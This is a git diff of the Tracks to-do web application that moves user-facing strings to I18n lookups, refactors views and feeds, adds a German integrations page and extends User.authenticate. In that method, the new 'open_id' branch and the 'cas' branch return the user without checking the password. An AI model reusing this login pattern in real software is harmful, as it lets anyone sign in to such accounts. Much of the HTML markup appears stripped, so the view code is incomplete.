@@ class Todo < ActiveRecord::Base def no_uncompleted_predecessors? return uncompleted_predecessors.empty? end - # Returns a string with description def specification project_name = project.is_a?(NullProject) ? "(none)" : project.name - return "\"#{description}\" <\"#{context.title}\"; \"#{project_name}\">" + return "\'#{description}\' <\'#{context.title}\'; \'#{project_name}\'>" end def todo_from_specification(specification) @@ -112,9 +125,9 @@ class Todo < ActiveRecord::Base project_id = nil; unless project_name == "(none)" project = Project.first(:conditions => { - :user_id => self.user.id, - :name => project_name - }) + :user_id => self.user.id, + :name => project_name + }) project_id = project.id unless project.nil? end @@ -127,6 +140,7 @@ class Todo < ActiveRecord::Base :project_id => project_id } ) + return nil if todos.empty? # TODO: what todo if there are more than one todo that fit the specification @@ -135,7 +149,7 @@ class Todo < ActiveRecord::Base def validate if !show_from.blank? && show_from < user.date - errors.add("show_from", "must be a date in the future") + errors.add("show_from", I18n.t('models.todo.error_date_must_be_future')) end errors.add(:description, "may not contain \" characters") if /\"/.match(description) unless @predecessor_array.nil? # Only validate predecessors if they changed @@ -155,11 +169,15 @@ class Todo < ActiveRecord::Base current_array = predecessors.map{|p| p.specification} remove_array = current_array - @predecessor_array add_array = @predecessor_array - current_array - + + @removed_predecessors = [] # This is probably a bit naive code... remove_array.each do |specification| t = todo_from_specification(specification) - self.predecessors.delete(t) unless t.nil? + unless t.nil? + @removed_predecessors << t + self.predecessors.delete(t) + end end # ... as is this? add_array.each do |specification| @@ -170,7 +188,11 @@ class Todo < ActiveRecord::Base logger.error "Could not find #{specification}" # Unexpected since validation passed end end - end + end + end + + def removed_predecessors + return @removed_predecessors end def remove_predecessor(predecessor) @@ -195,16 +217,25 @@ class Todo < ActiveRecord::Base return false end + def has_tag?(tag) + return self.tags.select{|t| t.name==tag }.size > 0 + end + + def hidden? + return self.state == 'project_hidden' || ( self.context.hidden? && (self.state == 'active' || self.state == 'deferred')) + end + def update_state_from_project - if state == 'project_hidden' and !project.hidden? + if self.state == 'project_hidden' and !self.project.hidden? if self.uncompleted_predecessors.empty? self.state = 'active' else self.state = 'pending' end - elsif state == 'active' and project.hidden? + elsif self.state == 'active' and self.project.hidden? self.state = 'project_hidden' end + self.save! end def toggle_completion! diff --git a/app/models/user.rb b/app/models/user.rb index 068c0cb3..5776d14d 100644 --- a/app/models/user.rb +++ b/app/models/user.rb @@ -3,6 +3,7 @@ require 'digest/sha1' class User < ActiveRecord::Base # Virtual attribute for the unencrypted password attr_accessor :password + attr_protected :is_admin # don't allow mass-assignment for this has_many :contexts, :order => 'position ASC', @@ -11,11 +12,11 @@ class User < ActiveRecord::Base find(params['id'] || params['context_id']) || nil end def update_positions(context_ids) - context_ids.each_with_index do |id, position| + context_ids.each_with_index {|id, position| context = self.detect { |c| c.id == id.to_i } - raise "Context id #{id} not associated with user id #{@user.id}." if context.nil? + raise I18n.t('models.user.error_context_not_associated', :context => id, :user => @user.id) if context.nil? context.update_attribute(:position, position + 1) - end + } end end has_many :projects, @@ -25,11 +26,11 @@ class User < ActiveRecord::Base find(params['id'] || params['project_id']) end def update_positions(project_ids) - project_ids.each_with_index do |id, position| + project_ids.each_with_index {|id, position| project = self.detect { |p| p.id == id.to_i } - raise "Project id #{id} not associated with user id #{@user.id}." if project.nil? + raise I18n.t('models.user.error_project_not_associated', :project => id, :user => @user.id) if project.nil? project.update_attribute(:position, position + 1) - end + } end def projects_in_state_by_position(state) self.sort{ |a,b| a.position <=> b.position }.select{ |p| p.state == state } @@ -149,13 +150,25 @@ class User < ActiveRecord::Base return nil if login.blank? candidate = find(:first, :conditions => ["login = ?", login]) return nil if candidate.nil? - return candidate if candidate.auth_type == 'database' && candidate.crypted_password == sha1(pass) + + if Tracks::Config.auth_schemes.include?('database') + return candidate if candidate.auth_type == 'database' && candidate.crypted_password == sha1(pass) + end + if Tracks::Config.auth_schemes.include?('ldap') return candidate if candidate.auth_type == 'ldap' && SimpleLdapAuthenticator.valid?(login, pass) end - if Tracks::Config.auth_schemes.include?('cas') && candidate.auth_type.eql?("cas") - return candidate #because we can not auth them with out thier real password we have to settle for this + + if Tracks::Config.auth_schemes.include?('cas') + # because we can not auth them with out thier real password we have to settle for this + return candidate if candidate.auth_type.eql?("cas") end + + if Tracks::Config.auth_schemes.include?('open_id') + # hope the user enters the correct data + return candidate if candidate.auth_type.eql?("open_id") + end + return nil end @@ -251,6 +264,13 @@ protected def normalize_open_id_url return if open_id_url.nil? + + # fixup empty url value + if open_id_url.empty? + self.open_id_url = nil + return + end + self.open_id_url = OpenIdAuthentication.normalize_identifier(open_id_url) end end diff --git a/app/views/contexts/_context.rhtml b/app/views/contexts/_context.rhtml index 105b66bb..a6eb63ab 100644 --- a/app/views/contexts/_context.rhtml +++ b/app/views/contexts/_context.rhtml @@ -13,7 +13,7 @@
-

Currently there are no incomplete actions in this context

+

<%= t 'contexts.no_actions' %>

<%= render :partial => "todos/todo", :collection => @not_done, :locals => { :parent_container_type => "context" } %>
diff --git a/app/views/contexts/_context_form.rhtml b/app/views/contexts/_context_form.rhtml index fc6d18c5..952e8a44 100644 --- a/app/views/contexts/_context_form.rhtml +++ b/app/views/contexts/_context_form.rhtml @@ -1,28 +1,36 @@ <% context = context_form - @context = context-%> -<% form_remote_tag(:url => context_path(context), :html => {:id => dom_id(context, 'edit_form'), :class => "inline-form "+dom_id(context, 'edit_form')+"-edit-context-form edit-context-form", :method => :put}) do -%> - <%= error_messages_for 'context' %> +@context = context +-%> + +<% form_for(context, :html => { + :id => dom_id(context, 'edit_form'), + :class => "inline-form edit-project-form", + :method => :put }) do + -%> + +
<%= error_messages_for("project") %>
+
<%= text_field('context', 'name', :class => 'context-name') %>
- + <%= check_box('context', 'hide', :class => 'context-hide') %> - +
<%=image_tag("cancel.png", :alt => "") %> - Cancel + <%= t 'common.cancel' %>


- <% end %> +<% end %> diff --git a/app/views/contexts/_context_listing.rhtml b/app/views/contexts/_context_listing.rhtml index 725cd633..b98a0f51 100644 --- a/app/views/contexts/_context_listing.rhtml +++ b/app/views/contexts/_context_listing.rhtml @@ -1,43 +1,28 @@ <% context = context_listing - suppress_drag_handle ||= false - suppress_edit_button ||= false +suppress_drag_handle ||= false +suppress_edit_button ||= false %>
" class="list">
<% unless suppress_drag_handle -%>
- DRAG + <%= t('common.drag_handle') %>
<% end -%>
<%= link_to_context( context ) %> <%= " (" + count_undone_todos_phrase(context,"actions") + ")" %>
- +
<% if context.hide? %> - HIDDEN + <%= t('states.hidden') %> <% else %> - VISIBLE + <%= t('states.visible') %> <% end %> - <%= link_to_remote( - image_tag( "blank.png", :title => "Delete context", :class=>"delete_item"), - :url => {:controller => 'contexts', :action => 'destroy', :id => context.id}, - :method => 'delete', - :with => "'_source_view=#{@source_view}'", - :before => "$('#{dom_id(context)}').block({message:null});", - :complete => "$('#{dom_id(context)}').unblock();", - :confirm => "Are you sure that you want to delete the context '#{context.name}'? Be aware that this will also delete all (repeating) actions in this context!", - :html => { :id => dom_id(context, 'delete') } - ) %> - <%= link_to_remote( - image_tag( "blank.png", :title => "Edit context", :class=>"edit_item"), - :url => {:controller => 'contexts', :action => 'edit', :id => context.id}, - :method => 'get', - :with => "'_source_view=#{@source_view}'", - :before => "$('#{dom_id(context)}').block({message:null});", - :complete => "$('#{dom_id(context)}').unblock();", - :html => {:id => "edit_context_#{context.id}_link"} - ) %> + + <%= link_to_delete_context(context, image_tag( "blank.png", :title => t('contexts.delete_context'), :class=>"delete_item")) %> + <%= suppress_edit_button ? "" : link_to_edit_context(context, image_tag( "blank.png", :title => t('contexts.edit_context'), :class=>"edit_item")) %> +
+
+ + <% end -%> + \ No newline at end of file diff --git a/app/views/feedlist/_legend.rhtml b/app/views/feedlist/_legend.rhtml new file mode 100644 index 00000000..bc7e202f --- /dev/null +++ b/app/views/feedlist/_legend.rhtml @@ -0,0 +1,14 @@ +
+

<%= t('feedlist.legend') %>

+
+
<%= image_tag("feed-icon.png", :size => "16X16", :border => 0)%>
+
<%= t('feedlist.rss_feed') %>
+ +
TXT
+
<%= t('feedlist.plain_text_feed') %>
+ +
iCal
+
<%= t('feedlist.ical_feed') %>
+
+

<%= t('feedlist.notice_incomplete_only') %>

+
\ No newline at end of file diff --git a/app/views/feedlist/get_feeds_for_context.erb b/app/views/feedlist/get_feeds_for_context.erb new file mode 100644 index 00000000..f67ca8fd --- /dev/null +++ b/app/views/feedlist/get_feeds_for_context.erb @@ -0,0 +1 @@ +
  • <%= all_feed_links_for_context(@context) %>
  • \ No newline at end of file diff --git a/app/views/feedlist/get_feeds_for_project.erb b/app/views/feedlist/get_feeds_for_project.erb new file mode 100644 index 00000000..98834bdb --- /dev/null +++ b/app/views/feedlist/get_feeds_for_project.erb @@ -0,0 +1 @@ +
  • <%= all_feed_links_for_project(@project) %>
  • \ No newline at end of file diff --git a/app/views/feedlist/index.html.erb b/app/views/feedlist/index.html.erb index 9853d2a2..2812f5d6 100644 --- a/app/views/feedlist/index.html.erb +++ b/app/views/feedlist/index.html.erb @@ -1,115 +1,23 @@
    -
    -

    Legend:

    -
    -
    <%= image_tag("feed-icon.png", :size => "16X16", :border => 0)%>
    RSS Feed
    -
    TXT
    Plain Text Feed
    -
    iCal
    iCal feed
    -
    -

    Note: All feeds show only actions that have not been marked as done.

    -
    + <%= render :partial => 'legend' %>
      -
    • - <%= rss_formatted_link({ :controller => 'todos', :action => 'index', :limit => 15 }) %> - <%= text_formatted_link({ :controller => 'todos', :action => 'index', :limit => 15 }) %> - <%= ical_formatted_link({ :controller => 'todos', :action => 'index', :limit => 15 }) %> - Last 15 actions -
    • -
    • - <%= rss_formatted_link( { :controller => 'todos', :action => 'index' } ) %> - <%= text_formatted_link( { :controller => 'todos', :action => 'index' } ) %> - <%= ical_formatted_link( { :controller => 'todos', :action => 'index' } ) %> - All actions -
    • -
    • - <%= rss_formatted_link({ :controller => 'todos', :action => 'index', :due => 0 }) %> - <%= text_formatted_link({ :controller => 'todos', :action => 'index', :due => 0 }) %> - <%= ical_formatted_link({ :controller => 'todos', :action => 'index', :due => 0 }) %> - Actions due today or earlier -
    • -
    • - <%= rss_formatted_link({ :controller => 'todos', :action => 'index', :due => 6 }) %> - <%= text_formatted_link({ :controller => 'todos', :action => 'index', :due => 6 }) %> - <%= ical_formatted_link({ :controller => 'todos', :action => 'index', :due => 6 }) %> - Actions due in 7 days or earlier -
    • -
    • - <%= rss_formatted_link({ :controller => 'todos', :action => 'index', :done => 7 }) %> - <%= text_formatted_link({ :controller => 'todos', :action => 'index', :done => 7 }) %> - Actions completed in the last 7 days -
    • -
    • - <%= rss_formatted_link({:controller => 'contexts', :action => 'index'}) %> - <%= text_formatted_link({:controller => 'contexts', :action => 'index'}) %> - All Contexts -
    • -
    • - <%= rss_formatted_link({:controller => 'projects', :action => 'index'}) %> - <%= text_formatted_link({:controller => 'projects', :action => 'index'}) %> - All Projects -
    • -
    • - <%= rss_formatted_link({:controller => 'projects', :action => 'index', :only_active_with_no_next_actions => true}) %> - <%= text_formatted_link({:controller => 'projects', :action => 'index', :only_active_with_no_next_actions => true}) %> - Active projects with no next actions -
    • -
    • - <%= rss_formatted_link({:controller => 'todos', :action => 'index', :tag => 'starred'}) %> - <%= text_formatted_link({:controller => 'todos', :action => 'index', :tag => 'starred'}) %> - All starred, active actions -
    • -
    • - <%= text_formatted_link({:controller => 'projects', :action => 'index', :projects_and_actions => true}) %> - Active projects with their actions -
    • -
    • Feeds for incomplete actions in a specific context:

      - <% if @active_contexts.empty? && @hidden_contexts.empty? -%> -
      • There need to be at least one context before you can request a feed
      - <% else -%> -
        -
      • Step 1 - Choose the context you want a feed of: - -
      • -
      • Step 2 - Select the feed for this context -
        -
        - <%= render :partial => 'feed_for_context', :locals => { :context => @active_contexts.empty? ? @hidden_contexts.first : @active_contexts.first } %> -
        -
        -
      • -
      - <% end -%> -
    • -
    • Feeds for incomplete actions in a specific project:

      - <% if @active_projects.empty? && @hidden_projects.empty? -%> -
      • There need to be at least one project before you can request a feed
      - <% else -%> -
        -
      • Step 1 - Choose the project you want a feed of: - -
      • -
      • Step 2 - Select the feed for this project -
        -
        - <%= render :partial => 'feed_for_project', :locals => { :project => @active_projects.empty? ? @hidden_projects.first : @active_projects.first } %> -
        -
        -
      • -
      - <% end -%> -
    • +
    • <%= feed_links([:rss, :txt, :ical], { :controller => 'todos', :action => 'index', :limit => 15 }, t('feedlist.last_fixed_number', :number=>15)) %>
    • +
    • <%= feed_links([:rss, :txt, :ical], { :controller => 'todos', :action => 'index' }, t('feedlist.all_actions')) %>
    • +
    • <%= feed_links([:rss, :txt, :ical], { :controller => 'todos', :action => 'index', :due => 0 }, t('feedlist.actions_due_today')) %>
    • +
    • <%= feed_links([:rss, :txt, :ical], { :controller => 'todos', :action => 'index', :due => 6 }, t('feedlist.actions_due_next_week')) %>
    • +
    • <%= feed_links([:rss, :txt], { :controller => 'todos', :action => 'index', :done => 7 }, t('feedlist.actions_completed_last_week')) %>
    • +
    • <%= feed_links([:rss, :txt], { :controller => 'contexts', :action => 'index' }, t('feedlist.all_contexts')) %>
    • +
    • <%= feed_links([:rss, :txt], { :controller => 'projects', :action => 'index' }, t('feedlist.all_projects')) %>
    • +
    • <%= feed_links([:rss, :txt], { :controller => 'projects', :action => 'index', :only_active_with_no_next_actions => true }, t('feedlist.active_projects_wo_next')) %>
    • +
    • <%= feed_links([:rss, :txt], { :controller => 'todos', :action => 'index', :tag => 'starred' }, t('feedlist.active_starred_actions')) %>
    • +
    • <%= feed_links([:txt], {:controller => 'projects', :action => 'index', :projects_and_actions => true}, t('feedlist.projects_and_actions')) %>
    • +
    • <%= render :partial => 'feed_for_context' %>
    • +
    • <%= render :partial => 'feed_for_project' %>
    -
    +
    <%= render :file => "sidebar/sidebar.html.erb" %> -
    + diff --git a/app/views/integrations/_applescript1.rhtml b/app/views/integrations/_applescript1.rhtml index 9966ae8f..a0a2e14f 100644 --- a/app/views/integrations/_applescript1.rhtml +++ b/app/views/integrations/_applescript1.rhtml @@ -7,7 +7,7 @@ set myToken to "<%= current_user.token %>" set myContextID to <%= context.id %> (* <%= context.name %> *) -- Display dialog to enter your description -display dialog "Description of next action:" default answer "" +display dialog "<%= t('integrations.applescript_next_action_prompt') %>" default answer "" set myDesc to text returned of the result -- Now send all that info to Tracks @@ -17,4 +17,4 @@ tell application "<%= home_url %>backend/api" end tell -- Show the ID of the newly created next action -display dialog "New next action with id " & returnValue & " created" \ No newline at end of file +display dialog "<%= t('integrations.applescript_success_before_id') %> " & returnValue & " <%= t('integrations.applescript_success_after_id') %>" \ No newline at end of file diff --git a/app/views/integrations/google_gadget.erb b/app/views/integrations/google_gadget.erb index b08e89fa..f9e93562 100644 --- a/app/views/integrations/google_gadget.erb +++ b/app/views/integrations/google_gadget.erb @@ -1,5 +1,5 @@ - + \ No newline at end of file diff --git a/app/views/integrations/index.de.html.erb b/app/views/integrations/index.de.html.erb new file mode 100644 index 00000000..2eb83f5a --- /dev/null +++ b/app/views/integrations/index.de.html.erb @@ -0,0 +1,125 @@ +<% has_contexts = !current_user.contexts.empty? -%> +

    Integration

    +

    Tracks kann mit verschiedenen Werkzeugen zusammenarbeiten... + was immer Sie brauchen, um Ihre Aufgaben zu erledigen! + Auf dieser Seite finden Sie Informationen, um einige dieser Werkzeuge einzurichten. + Diese Beispiele sind nicht unbedingt auf Ihre Umgebung anwendbar oder bedürfen mehr + technisches Wissen als andere. + Weitere Informationen finden Sie in der <%= link_to "Entwickler Documentation der Tracks' REST API", url_for(:action => 'rest_api') %> (englisch).

    +

    Inhalt:

    +
    +

    Sie haben weitere Beispiele? + Berichten Sie uns + in unserem Tipps&Tricks Forum, damit wir es für die nächsten Versionen berücksichtigen können. +

    + + +

    Eine Aktion mit Applescript hinzufügen

    +

    Dieses Beispiel-Script zeigt einen Dialog, welcher nach einer Beschreibung fragt und die Aufgabe in einem festen Kontext anlegt.

    + +<% if has_contexts -%> +
      +
    1. Wählen Sie den Kontext, für welchen die Aktion erstellt werden soll: +
    2. +
    3. Kopieren Sie das AppleScript in die Zwischenablage.
      + + +
    4. +
    5. Öffnen Sie den Script Editor und fügen die Daten in ein neues Script ein.
    6. +
    7. Kompilieren und speichern Sie das Script, um es bei Bedarf einzusetzen.
    8. +
    +<% else %> +

    Sie haben noch keinen Kontext angelegt. Dieses Script ist automatisch verfügbar, sobald Sie Ihren ersten Kontext angelegt haben.

    +<% end %> + + +

    Add an Action with Applescript based on the currently selected Email in Mail.app

    +

    This script takes the sender and subject of the selected email(s) in Mail and creates a new action for each one, with the description, "Email [sender] about [subject]". The description gets truncated to 100 characters (the validation limit for the field) if it is longer than that. It also has Growl notifications if you have Growl installed.

    + +<% if has_contexts -%> +
      +
    1. Choose the context you want to add actions to: +
    2. +
    3. Copy the Applescript below to the clipboard.
      + + +
    4. +
    5. Open Script Editor and paste the script into a new document.
    6. +
    7. Compile and save the script to the ~/Library/Scriipts/Mail Scripts directory.
    8. +
    9. For more information on using AppleScript with Mail.app, see this overview.
    10. +
    +<% else %> +

    You do not have any context yet. The script will be available after you add your first context

    +<% end %> + + +

    Add Actions with Quicksilver and Applescript

    + +

    This integration will allow you to add actions to Tracks via Quicksilver.

    + +<% if has_contexts -%> +
      +
    1. Choose the context you want to add actions to: +
    2. +
    3. Copy the Applescript below to the clipboard.
      + + +
    4. +
    5. Open Script Editor and paste the script into a new document.
    6. +
    7. Compile and save the script as "Add to Tracks.scpt" in ~/Library/Application Support/Quicksilver/Actions/ (you may need to create the Actions directory)
    8. +
    9. Restart Quicksilver
    10. +
    11. Activate Quicksilver (Ctrl+Space by default)
    12. +
    13. Press "." to put quicksilver into text mode
    14. +
    15. Type the description of the next action you want to add
    16. +
    17. Press tab to switch to the action pane.
    18. +
    19. By typing or scrolling, choose the "Add to Tracks" action.
    20. +
    +<% else %> +

    You do not have any context yet. The script will be available after you add your first context

    +<% end %> + + +

    Automatically Email Yourself Upcoming Actions

    + +

    If you enter the following entry to your crontab, you will receive email every day around 5 AM with a list of the upcoming actions which are due within the next 7 days.

    + + + +

    You can of course use other text <%= link_to 'feeds provided by Tracks', feeds_path %> -- why not email a list of next actions in a particular project to a group of colleagues who are working on the project?

    + + +

    Integrated email/SMS receiver

    +

    + If Tracks is running on the same server as your mail server, you can use the integrated mail handler built into tracks. Steps to set it up: +

    + +

    You can also use the Rich Todo API to send in tasks like "do laundry @ Home" + or "Call Bill > project X". The subject of the message will fill description, + context, and project, while the body will populate the tasks's note. +

    + + +

    Add Tracks as a Google Gmail gadget

    +

    + You can now manage your projects/actions inside Gmail using Tracks Gmail Gadget. + Add Tracks Gmail gadget to the sidebar of Gmail and track your next actions + or add new action without explicitly open new browser tab for Tracks. Steps to set it up: +

    + \ No newline at end of file diff --git a/app/views/integrations/index.html.erb b/app/views/integrations/index.en.html.erb similarity index 93% rename from app/views/integrations/index.html.erb rename to app/views/integrations/index.en.html.erb index 51398c24..aa6c88a1 100644 --- a/app/views/integrations/index.html.erb +++ b/app/views/integrations/index.en.html.erb @@ -53,7 +53,7 @@
  • Open Script Editor and paste the script into a new document.
  • Compile and save the script to the ~/Library/Scriipts/Mail Scripts directory.
  • -
  • For more information on using AppleScript with Mail.app, see this overview. +
  • For more information on using AppleScript with Mail.app, see this overview.
  • <% else %>

    You do not have any context yet. The script will be available after you add your first context

    @@ -98,6 +98,7 @@

    Integrated email/SMS receiver

    If Tracks is running on the same server as your mail server, you can use the integrated mail handler built into tracks. Steps to set it up: +

    - - - - - - \ No newline at end of file + \ No newline at end of file diff --git a/app/views/integrations/search_plugin.rxml b/app/views/integrations/search_plugin.rxml index f0c8b256..24bdec4c 100644 --- a/app/views/integrations/search_plugin.rxml +++ b/app/views/integrations/search_plugin.rxml @@ -3,7 +3,7 @@ xml.instruct! xml.OpenSearchDescription 'xmlns' => "http://a9.com/-/spec/opensearch/1.1/" do xml.ShortName Tracks - xml.Description 'Search in Tracks' + xml.Description t('integrations.opensearch_description') xml.InputEncoding 'UTF-8' xml.Image("data:image/x-icon;base64," + @icon_data, 'width' => '16', 'height' => '16') diff --git a/app/views/layouts/login.html.erb b/app/views/layouts/login.html.erb index b550297c..9e4da310 100644 --- a/app/views/layouts/login.html.erb +++ b/app/views/layouts/login.html.erb @@ -3,8 +3,7 @@ <%= stylesheet_link_tag "scaffold" %> - <%= javascript_include_tag 'jquery' %> - <%= javascript_include_tag 'jquery.cookie' %> + <%= javascript_include_tag 'jquery-1.5.min', 'jquery.cookie' %> <%= @page_title -%> diff --git a/app/views/layouts/mobile.m.erb b/app/views/layouts/mobile.m.erb index 8bacf7c9..42c1c81e 100644 --- a/app/views/layouts/mobile.m.erb +++ b/app/views/layouts/mobile.m.erb @@ -12,29 +12,29 @@ <%= @page_title %> <% if !(@new_mobile || @edit_mobile) - if !@prefs.nil? -%> + if !current_user.prefs.nil? -%>

    <%= @down_count %> <%= - current_user.time.strftime(@prefs.title_date_format) -%>

    + l(Date.today, :format => current_user.prefs.title_date_format) -%> <%= yield -%> -
    <% if !@prefs.nil? -%> +
    <% if !current_user.prefs.nil? -%> <% end -%> <%= render :partial => "shared/mobile_footer" -%> diff --git a/app/views/layouts/standard.html.erb b/app/views/layouts/standard.html.erb index 76800ad5..c4de7bc0 100644 --- a/app/views/layouts/standard.html.erb +++ b/app/views/layouts/standard.html.erb @@ -2,29 +2,36 @@ - <%= stylesheet_link_tag 'standard','superfish','niftyCorners','jquery-ui', - 'jquery.autocomplete', :cache => true %> + <%= stylesheet_link_tag 'standard','superfish','niftyCorners', 'jquery-ui-1.8.9.custom', :cache => 'tracks-cached' %> <%= stylesheet_link_tag "print", :media => "print" %> - <%= javascript_include_tag 'jquery','jquery-ui','jquery.cookie', - 'jquery.blockUI','jquery.jeditable','jquery.autocomplete', - 'jquery.truncator', :cache => 'jquery-all' %> + <%= javascript_include_tag 'jquery-1.5.min', 'jquery-ui-1.8.9.custom.min', + 'jquery.truncator','jquery.jeditable.mini', 'jquery.cookie', 'jquery.blockUI', + 'jquery.form','jquery.ui.autocomplete.selectFirst', + :cache => 'jquery-cached' %> <%= javascript_include_tag 'hoverIntent','superfish','application', - 'accesskey-hints','niftycube','swfobject', :cache => 'tracks' %> + 'accesskey-hints','niftycube','swfobject', + :cache => 'tracks-cached' %> <%= javascript_tag "var AUTH_TOKEN = #{form_authenticity_token.inspect};" if protect_against_forgery? %> <%= javascript_tag "var SOURCE_VIEW = '#{@source_view}';" %> <%= javascript_tag "var TAG_NAME = '#{@tag_name}';" if @tag_name %> + <%= csrf_meta_tag %> - <%= auto_discovery_link_tag(:rss, {:controller => "todos", :action => "index", :format => 'rss', :token => "#{current_user.token}"}, {:title => "RSS feed of next actions"}) %> + <%= auto_discovery_link_tag(:rss, {:controller => "todos", :action => "index", :format => 'rss', :token => "#{current_user.token}"}, {:title => t('layouts.next_actions_rss_feed')}) %> <%= @page_title %> @@ -36,64 +43,57 @@ <% if @count -%> <%= @count %> <% end -%> - <%= current_user.time.strftime(@prefs.title_date_format) %> + <%= l(Date.today, :format => current_user.prefs.title_date_format) %> <%= render_flash %>
    - <% unless @controller_name == 'feed' or session['noexpiry'] == "on" -%> - <%= periodically_call_remote( :url => {:controller => "login", :action => "check_expiry"}, - :frequency => (5*60)) %> - <% end -%> - <%= periodically_call_remote( :url => check_deferred_todos_path(:format => 'js'), - :method => :post, - :frequency => (10*60)) %> <%= yield %>
    diff --git a/app/views/login/_redirect_to_login.js.erb b/app/views/login/_redirect_to_login.js.erb new file mode 100644 index 00000000..9840134c --- /dev/null +++ b/app/views/login/_redirect_to_login.js.erb @@ -0,0 +1 @@ +window.location.href = '<%= login_path %>'; \ No newline at end of file diff --git a/app/views/login/_redirect_to_login.rjs b/app/views/login/_redirect_to_login.rjs deleted file mode 100644 index ccb2e26a..00000000 --- a/app/views/login/_redirect_to_login.rjs +++ /dev/null @@ -1 +0,0 @@ -page.redirect_to :controller => 'login', :action => 'login' \ No newline at end of file diff --git a/app/views/login/check_expiry.js.erb b/app/views/login/check_expiry.js.erb new file mode 100644 index 00000000..22b7882d --- /dev/null +++ b/app/views/login/check_expiry.js.erb @@ -0,0 +1,8 @@ +<% if @session_expired + theLink = link_to(t('login.log_in_again'), :controller => "login", :action => "login") + message = I18n.t('login.session_time_out', :link => theLink) + theHtml = escape_javascript(content_tag(:div, message, :"class" => "warning")) + -%> + $('div#navcontainer').hide(); + $('div#content').html('<%=theHtml%>'); +<% end -%> \ No newline at end of file diff --git a/app/views/login/check_expiry.js.rjs b/app/views/login/check_expiry.js.rjs deleted file mode 100644 index 20de31aa..00000000 --- a/app/views/login/check_expiry.js.rjs +++ /dev/null @@ -1,3 +0,0 @@ -unless @msg == "" - page.replace_html "info", content_tag("div", @msg + link_to("log in again.", :controller => "login", :action => "login"), "class" => "warning") -end \ No newline at end of file diff --git a/app/views/login/login.html.erb b/app/views/login/login.html.erb index c651165a..c22eb6ab 100644 --- a/app/views/login/login.html.erb +++ b/app/views/login/login.html.erb @@ -4,30 +4,30 @@ show_cas_form = auth_schemes.include?('cas') -%> -
    +
    <%= render_flash %> -

    Please log in to use Tracks:

    +

    <%= t('login.please_login') %>:

    <% if show_database_form %>
    "> <% form_tag :action=> 'login' do %> - + - + - + - +
    <% end %> @@ -39,16 +39,16 @@ <% form_tag :action=> 'login' do %> - + - + - +
    <% end %> @@ -61,15 +61,15 @@ <% if @username && @user%> -

    Hello, <%= @username %>! You are authenticated.

    +

    <%= t('login.cas_logged_in_greeting', :username => @username) %>

    <% elsif @username %> -

    Hello, <%= @username %>! You do not have an account on Tracks. +

    <%= t('login.cas_no_user_found', :username => @username) %> <%if SITE_CONFIG['open_signups']%> - If you like to request on please go here to <%= link_to "Request Account" , signup_url %> + <%= t('login.cas_create_account', :signup_link => link_to(t('login.cas_signup_link'), signup_url)) %> <%end%>

    <% else %> -

    <%= link_to("CAS Login", login_cas_url) %>

    +

    <%= link_to(t('login.cas_login'), login_cas_url) %>

    <% end %> @@ -78,9 +78,9 @@ <% end %>
    -<% if show_openid_form %>

    or, login with an OpenId

    <% end %> -<% if show_database_form %>

    or, go back to the standard login

    <% end %> -<% if show_cas_form %>

    or, go to the CAS

    <% end %> +<% if show_openid_form %>

    <%= t('login.option_separator') %> <%= t('login.login_with_openid') %>

    <% end %> +<% if show_database_form %>

    <%= t('login.option_separator') %> <%= t('login.login_standard') %>

    <% end %> +<% if show_cas_form %>

    <%= t('login.option_separator') %> <%= t('login.login_cas')%>

    <% end %> diff --git a/app/views/projects/index_mobile.rhtml b/app/views/projects/index_mobile.rhtml index a33dce05..0c055b6f 100644 --- a/app/views/projects/index_mobile.rhtml +++ b/app/views/projects/index_mobile.rhtml @@ -1,6 +1,6 @@ -

    Active projects

    <%= +

    <%= t('projects.active_projects') %>

    <%= render :partial => 'mobile_project_listing', :collection => @active_projects%> -

    Hidden projects

    <%= +

    <%= t('projects.hidden_projects') %>

    <%= render :partial => 'mobile_project_listing', :collection => @hidden_projects %> -

    Completed projects

    <%= +

    <%= t('projects.completed_projects') %>

    <%= render :partial => 'mobile_project_listing', :collection => @completed_projects %> \ No newline at end of file diff --git a/app/views/projects/project_mobile.rhtml b/app/views/projects/project_mobile.rhtml index 15296102..3b35c8e2 100644 --- a/app/views/projects/project_mobile.rhtml +++ b/app/views/projects/project_mobile.rhtml @@ -5,23 +5,23 @@
    <%= sanitize(@project.description) %>
    <% end -%> <%= render :partial => "todos/mobile_todo", :collection => @not_done, :locals => { :parent_container_type => "project" }%> -

    Deferred actions for this project

    +

    <%= t('projects.deferred_actions')%>

    <% if @deferred.empty? -%> -There are no deferred actions for this project +<%= t('projects.deferred_actions_empty') %> <% else -%> <%= render :partial => "todos/mobile_todo", :collection => @deferred, :locals => { :parent_container_type => "project" }%> <% end -%> -

    Completed actions for this project

    +

    <%= t('projects.completed_actions')%>

    <% if @done.empty? -%> -There are no completed actions for this project +<%= t('projects.completed_actions_empty') %> <% else -%> <%= render :partial => "todos/mobile_todo", :collection => @done, :locals => { :parent_container_type => "project" }%> <% end %> -

    Notes

    +

    <%= t('projects.notes') %>

    <% if @project.notes.empty? -%> -There are no notes for this project +<%= t('projects.notes_empty') %> <% else -%><%= render :partial => "notes/mobile_notes_summary", :collection => @project.notes %> <% end -%> -

    Settings

    -This project is <%= project.current_state.to_s %>. <%= @project_default_context %> \ No newline at end of file +

    <%= t('projects.settings') %>

    +<%= t('projects.state', :state => project.current_state.to_s) %>. <%= @project_default_context %> \ No newline at end of file diff --git a/app/views/projects/show.html.erb b/app/views/projects/show.html.erb index f969bd87..6e376b83 100644 --- a/app/views/projects/show.html.erb +++ b/app/views/projects/show.html.erb @@ -3,37 +3,28 @@ <%= project_next_prev %>
    - <%= render :partial => "projects/project", :locals => { :project => @project, :collapsible => false } %> - <%= render :partial => "todos/deferred", :locals => { :deferred => @deferred, :collapsible => false, :append_descriptor => "in this project", :parent_container_type => 'project', :pending => @pending } %> + <%= render :partial => @project, :locals => {:collapsible => false } %> + <%= render :partial => "todos/deferred", :object => @deferred, :locals => { :collapsible => false, :append_descriptor => t('projects.todos_append'), :parent_container_type => 'project', :pending => @pending } %> <% unless @max_completed==0 -%> - <%= render :partial => "todos/completed", :locals => { :done => @done, :collapsible => false, :suppress_project => true, :append_descriptor => "in this project" } %> + <%= render :partial => "todos/completed", :object => @done, :locals => { :collapsible => false, :suppress_project => true, :append_descriptor => t('projects.todos_append') } %> <% end -%>
    - +

    Notes

    <%= render :partial => "shared/empty", - :locals => { :message => "Currently there are no notes attached to this project"} %> + :locals => { :message => t('projects.no_notes_attached')} %>
    <%= render :partial => "notes/notes_summary", :collection => @project.notes %>
    +
